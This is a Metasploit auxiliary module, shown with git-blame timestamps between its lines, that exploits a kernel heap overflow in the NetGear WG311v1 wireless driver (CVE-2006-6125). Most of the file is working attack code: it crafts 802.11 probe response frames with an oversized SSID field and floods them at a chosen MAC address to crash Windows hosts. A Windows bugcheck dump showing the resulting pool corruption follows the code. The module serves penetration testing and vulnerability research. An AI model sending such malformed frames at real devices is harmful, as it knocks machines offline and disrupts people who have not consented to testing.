2007-02-18 00:10:39 +00:00
|
|
|
##
|
2008-10-02 05:23:59 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
2010-04-30 08:40:19 +00:00
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
2007-02-18 00:10:39 +00:00
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
2012-02-21 01:40:50 +00:00
|
|
|
# web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
2006-11-22 21:36:38 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Auxiliary
|
2006-11-22 21:36:38 +00:00
|
|
|
|
2009-10-23 15:59:13 +00:00
|
|
|
include Msf::Exploit::Lorcon2
|
2008-11-18 20:00:31 +00:00
|
|
|
include Msf::Auxiliary::Dos
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-22 21:36:38 +00:00
|
|
|
def initialize(info = {})
|
2010-04-30 08:40:19 +00:00
|
|
|
super(update_info(info,
|
2006-11-22 21:36:38 +00:00
|
|
|
'Name' => 'NetGear WG311v1 Wireless Driver Long SSID Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module exploits a buffer overflow in the NetGear WG311v1 wireless device
|
|
|
|
driver under Windows XP and 2000. A kernel-mode heap overflow occurs
|
|
|
|
when malformed probe response frame is received that contains a long SSID field
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
This DoS was tested with version 2.3.1.10 of the WG311ND5.SYS driver and a
|
2006-11-22 21:36:38 +00:00
|
|
|
NetGear WG311v1 PCI card. A remote code execution module is also in development.
|
|
|
|
|
2009-10-23 15:59:13 +00:00
|
|
|
This module depends on the Lorcon2 library and only works on the Linux platform
|
2010-04-30 08:40:19 +00:00
|
|
|
with a supported wireless card. Please see the Ruby Lorcon2 documentation
|
2006-11-22 21:36:38 +00:00
|
|
|
(external/ruby-lorcon/README) for more information.
|
|
|
|
},
|
|
|
|
'Author' => [ 'Laurent Butti <0x9090 [at] gmail.com>' ], # initial discovery and metasploit module
|
2010-05-03 17:13:09 +00:00
|
|
|
'Version' => '$Revision$',
|
2006-11-22 21:36:38 +00:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
2010-05-03 17:13:09 +00:00
|
|
|
[
|
2010-04-25 18:33:27 +00:00
|
|
|
['CVE', '2006-6125'],
|
|
|
|
['OSVDB', '30511'],
|
2010-04-30 08:40:19 +00:00
|
|
|
['URL', 'http://projects.info-pull.com/mokb/MOKB-22-11-2006.html'],
|
2006-11-22 21:36:38 +00:00
|
|
|
['URL', 'ftp://downloads.netgear.com/files/wg311_1_3.zip'],
|
2010-05-03 17:13:09 +00:00
|
|
|
]
|
2006-11-22 21:36:38 +00:00
|
|
|
))
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptInt.new('RUNTIME', [ true, "The number of seconds to run the attack", 60]),
|
|
|
|
OptString.new('ADDR_DST', [ true, "The MAC address of the target system"])
|
2010-04-30 08:40:19 +00:00
|
|
|
], self.class)
|
2006-11-22 21:36:38 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
|
2010-09-20 08:06:27 +00:00
|
|
|
open_wifi
|
2006-11-22 21:36:38 +00:00
|
|
|
|
2010-09-20 08:06:27 +00:00
|
|
|
stime = Time.now.to_i
|
|
|
|
rtime = datastore['RUNTIME'].to_i
|
|
|
|
count = 0
|
2006-11-22 21:36:38 +00:00
|
|
|
|
2010-09-20 08:06:27 +00:00
|
|
|
print_status("Creating malicious probe response frame...")
|
2006-11-22 21:36:38 +00:00
|
|
|
|
2010-09-20 08:06:27 +00:00
|
|
|
frame = create_probe_response()
|
2006-11-22 21:36:38 +00:00
|
|
|
|
2010-09-20 08:06:27 +00:00
|
|
|
print_status("Sending malicious probe response frames for #{datastore['RUNTIME']} seconds...")
|
2006-11-22 21:36:38 +00:00
|
|
|
|
2010-09-20 08:06:27 +00:00
|
|
|
while (stime + rtime > Time.now.to_i)
|
|
|
|
wifi.write(frame)
|
|
|
|
select(nil, nil, nil, 0.10) if (count % 100 == 0)
|
|
|
|
count += 1
|
|
|
|
end
|
2006-11-22 21:36:38 +00:00
|
|
|
|
2010-09-20 08:06:27 +00:00
|
|
|
print_status("Completed sending #{count} probe responses.")
|
2006-11-22 21:36:38 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
def create_probe_response
|
|
|
|
bssid = Rex::Text.rand_text(6)
|
|
|
|
seq = [rand(255)].pack('n')
|
2010-04-30 08:40:19 +00:00
|
|
|
|
|
|
|
frame =
|
2006-11-22 21:36:38 +00:00
|
|
|
"\x50" + # type/subtype
|
|
|
|
"\x00" + # flags
|
2010-04-30 08:40:19 +00:00
|
|
|
"\x00\x00" + # duration
|
2006-11-22 21:36:38 +00:00
|
|
|
eton(datastore['ADDR_DST']) + # dst
|
|
|
|
bssid + # src
|
|
|
|
bssid + # bssid
|
2010-04-30 08:40:19 +00:00
|
|
|
seq + # seq
|
2006-11-22 21:36:38 +00:00
|
|
|
Rex::Text.rand_text(8) + # timestamp value
|
|
|
|
"\x64\x00" + # beacon interval
|
|
|
|
"\x01\x00" + # capabilities
|
|
|
|
|
|
|
|
# SSID IE overflow
|
|
|
|
"\x00" + "\xff" + ("\x41" * 255) +
|
|
|
|
|
|
|
|
# supported rates IE
|
|
|
|
"\x01" + "\x08" + "\x02\x04\x0b\x16\x0c\x18\x30\x48" +
|
|
|
|
|
|
|
|
# channel IE
|
|
|
|
"\x03" + "\x01" + channel.chr
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2006-11-22 21:36:38 +00:00
|
|
|
return frame
|
|
|
|
|
2010-04-30 08:40:19 +00:00
|
|
|
end
|
2006-11-22 21:36:38 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
=begin
|
|
|
|
*******************************************************************************
|
|
|
|
* *
|
|
|
|
* Bugcheck Analysis *
|
|
|
|
* *
|
|
|
|
*******************************************************************************
|
|
|
|
|
|
|
|
BAD_POOL_HEADER (19)
|
|
|
|
The pool is already corrupt at the time of the current request.
|
|
|
|
This may or may not be due to the caller.
|
|
|
|
The internal pool links must be walked to figure out a possible cause of
|
|
|
|
the problem, and then special pool applied to the suspect tags or the driver
|
|
|
|
verifier to a suspect driver.
|
|
|
|
Arguments:
|
|
|
|
Arg1: 00000020, a pool block header size is corrupt.
|
|
|
|
Arg2: 81cae7b0, The pool entry we were looking for within the page.
|
|
|
|
Arg3: 81cae8c8, The next pool entry.
|
|
|
|
Arg4: 0a23002b, (reserved)
|
2008-11-18 20:00:31 +00:00
|
|
|
=end
|